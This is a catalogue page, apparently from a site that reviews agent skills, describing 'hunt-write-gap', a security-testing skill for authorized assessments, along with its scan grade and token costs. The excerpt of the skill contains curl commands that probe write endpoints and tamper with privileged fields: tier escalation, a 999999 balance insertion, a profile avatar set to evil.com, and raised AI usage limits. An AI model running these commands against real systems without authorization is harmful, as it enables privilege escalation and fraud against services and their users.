Recon Skills is a pack of security-testing skills covering reconnaissance, web applications, APIs, authentication, vulnerability validation, cloud infrastructure, and reporting. Security professionals use it for authorized assessments of systems they own or have written permission to test. The catalogue entries are individual skills from the pack.
Getting it into your agent
One page per mod, every tool's command on it. A separate URL per tool would split the same page into five that compete with each other.
npx skills add uphiago/recon-skills --skill hunt-write-gapgit clone --depth 1 https://github.com/uphiago/recon-skillsWrote this? Show the measurements
A badge with what this costs and how it scanned, read live from this page, so it follows the numbers instead of freezing them. Markdown for a README, HTML for a documentation site or a project page.
[](https://agentmods.dev/skills/uphiago/recon-skills/hunt-write-gap)<a href="https://agentmods.dev/skills/uphiago/recon-skills/hunt-write-gap"><img src="https://agentmods.dev/badge/skills/uphiago/recon-skills/hunt-write-gap/github.svg" alt="Measured on agentmods" height="20"></a>Or the 80×15 button, for a site that already has a row of RSS and ATOM ones. Only the verdict fits; the numbers stay here.
<a href="https://agentmods.dev/skills/uphiago/recon-skills/hunt-write-gap"><img src="https://agentmods.dev/badge/skills/uphiago/recon-skills/hunt-write-gap.svg" alt="Reviewed on agentmods" width="80" height="20"></a>- NVIDIA SkillSpector warn
SkillSpector: 1 finding, up to medium
These are SkillSpector’s own severities. On a checked sample its high-severity flags on skills were ~96% false positives — a documented command, a public API, a “never do X” rule — so we show them as a caution to read, not a verdict. Why →
- medium Data Exfiltration · line 30 Data is being sent to an external URL. This could be legitimate telemetry or data exfiltration. Manual review is recommended.Fix: Verify the destination URL is trusted and necessary. Remove or replace with documented APIs. Ensure no secrets, tokens, or PII are transmitted.
What it costs to keep this loaded
Counted locally with the o200k_base tokenizer, which is exact for GPT models; Claude uses its own tokenizer and its counts differ. Treat this as one consistent yardstick across the catalogue rather than a bill. Prices are per million input tokens.
| Model | Per session | Once invoked |
|---|---|---|
| Fable 5.1 | $0.00039 | $0.01475 |
| Opus 5 | $0.00019 | $0.00737 |
| Sonnet 5 | $0.00008 | $0.00295 |
| Haiku 4.5 | $0.00004 | $0.00147 |
Grade A, and why
hunt-write-gap scanned grade A with 1 finding against 26 rules in 11 categories — prompt injection, anti-refusal, data exfiltration, privilege escalation, supply chain, agent snooping, system-prompt leakage, SSRF and excessive agency — measured 8d ago.
A static scan of the body, not an audit. Every finding is printed with the line that produced it so you can judge whether it matters here. A mod is markdown that instructs an agent; that is exactly why what it instructs is worth reading.
Makes network callslowCapability
Not a fault in itself. Listed so you know the mod talks to something, and to what.
code=$(curl --max-time 30 --connect-timeout 10 -sk -X "$method" -w "%{http_code}" -o /tmp/resp.txt \ How it starts
The opening of the file, as written. The whole thing — 149 lines — stays where its author put it; the contents beside it link to each section on GitHub.
When to Use
You have authenticated access to a target and can READ your own data (profile, settings, records), but need to test if you can MODIFY data beyond your authorization level. This is the #1 pattern in Supabase-backed SaaS and increasingly common in Firebase, custom REST APIs, and GraphQL backends.
The pattern: GET /resource returns only your data (RLS/auth working). PATCH /resource lets you change anything including tier, role, balance, and subscription status.
Phase 1 — Identify Writeable Endpoints
From prior recon (schema enumeration, JS bundle analysis), build a list of endpoints that accept write methods:
TARGET="https://api.target.com"
TOKEN="<your_auth_token>"
# Test common write methods on all discovered endpoints
for ep in users subscribers profiles accounts settings; do
for method in PATCH PUT POST; do
code=$(curl --max-time 30 --connect-timeout 10 -sk -X "$method" -w "%{http_code}" -o /tmp/resp.txt \
"${TARGET}/${ep}" \
-H "Authorization: Bearer ${TOKEN}" \
-H "Content-Type: application/json" -d '{}' 2>/dev/null)
if [ "$code" != "404" ] && [ "$code" != "405" ]; then
echo " $method /${ep}: HTTP $code"
fi
done
done
A 200/400 response means the endpoint EXISTS and accepts writes. 404 means it doesn't exist. 405 means wrong method.
Phase 2 — Test Write Operations
For each confirmed writeable endpoint, test if you can modify privileged fields:
# Tier/role escalation
curl --max-time 30 --connect-timeout 10 -sk -X PATCH "${TARGET}/subscribers?user_id=eq.${USER_ID}" \
-H "Authorization: Bearer ${TOKEN}" \
-H "Content-Type: application/json" \
-d '{"tier_id":"<PRO_TIER_ID>","subscribed":true}'
# Balance manipulation
curl --max-time 30 --connect-timeout 10 -sk -X POST "${TARGET}/movements" \
-H "Authorization: Bearer ${TOKEN}" \
-H "Content-Type: application/json" \
-d '{"name":"test","amount":999999,"type":"income"}'
# Profile tampering
curl --max-time 30 --connect-timeout 10 -sk -X PATCH "${TARGET}/profiles?user_id=eq.${USER_ID}" \
-H "Authorization: Bearer ${TOKEN}" \
-d '{"full_name":"HACKED","avatar_url":"https://evil.com/pwned.png"}'
# AI/rate limits bypass
curl --max-time 30 --connect-timeout 10 -sk -X PATCH "${TARGET}/ai_usage_limits?user_id=eq.${USER_ID}" \
-H "Authorization: Bearer ${TOKEN}" \
-d '{"document_analysis_limit":99999}'
What this file has done since we first saw it
Hashed on every crawl. A supply-chain change to an agent config is a question of when, not whether, so the history is kept rather than the latest state alone.
- 8d ago First seen · 149 lines · 39 tokens per session scan A 4f151b95bd29
hunt-write-gap is a skill published in the GitHub repository uphiago/recon-skills (1,254 stars, last pushed 10d ago), licensed MIT. It adds 39 tokens to every session and 1,475 once invoked, about $0.0002 per session on Opus 5. A static security scan graded it A with 1 finding (makes network calls). No closer match exists in the catalogue, so it is treated as the original; first seen 2026-09-03.
Other skills, from other repositories
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Hunt API security misconfiguration — mass assignment, prototype pollution, HTTP verb tampering. Mass assignment: send {isadmin:true, role:admin, verified:true} on profile/account/reset endpoints — server blindly applies. JWT signature/crypto forging (alg:none, key confusion, kid/jku) is owned by hunt-jwt-crypto; this…
detecting-api-enumeration-attacks
Detect and prevent API enumeration attacks including BOLA and IDOR exploitation by monitoring sequential identifier access patterns and authorization failures.
detecting-broken-object-property-level-authorization
Detect and test for OWASP API3:2023 Broken Object Property Level Authorization vulnerabilities including excessive data exposure and mass assignment attacks.
detecting-shadow-api-endpoints
Discover and inventory shadow API endpoints that operate outside documented specifications using traffic analysis, code scanning, and API discovery platforms.